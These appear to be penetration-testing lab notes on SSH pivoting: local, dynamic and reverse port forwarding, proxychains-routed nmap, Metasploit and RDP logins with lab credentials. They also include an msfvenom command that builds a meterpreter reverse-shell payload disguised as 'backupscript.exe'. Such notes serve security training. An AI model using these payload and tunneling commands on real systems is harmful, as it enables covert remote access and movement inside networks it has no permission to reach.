Port Forwarding SSH
Dynamic Port Forwarding with SSH and SOCKS Tunneling
Local Port Forward
c
$ ssh -L 1234:localhost:3306 ubuntu@10.129.202.64Confirming Port Forward with Netstat
c
$ netstat -antp | grep 1234Forwarding Multiple Ports
c
$ ssh -L 1234:localhost:3306 -L 8080:localhost:80 ubuntu@10.129.202.64Enabling Dynamic Port Forwarding with SSH
c
$ ssh -D 9050 ubuntu@10.129.202.64config /etc/proxychains.conf
c
cat /etc/proxychains.conf
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 9050Nmap with Proxychains
c
proxychains nmap -v -sn 172.16.5.1-200Metasploit with Proxychains
c
proxychains msfconsoleUsing rdp_scanner Module
shell-session
msf6 > search rdp_scannerUsing xfreerdp with Proxychains
shell-session
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123Reverse Port Forwarding with SSH
Creating a Windows Payload with msfvenom
c
msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080c
ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vN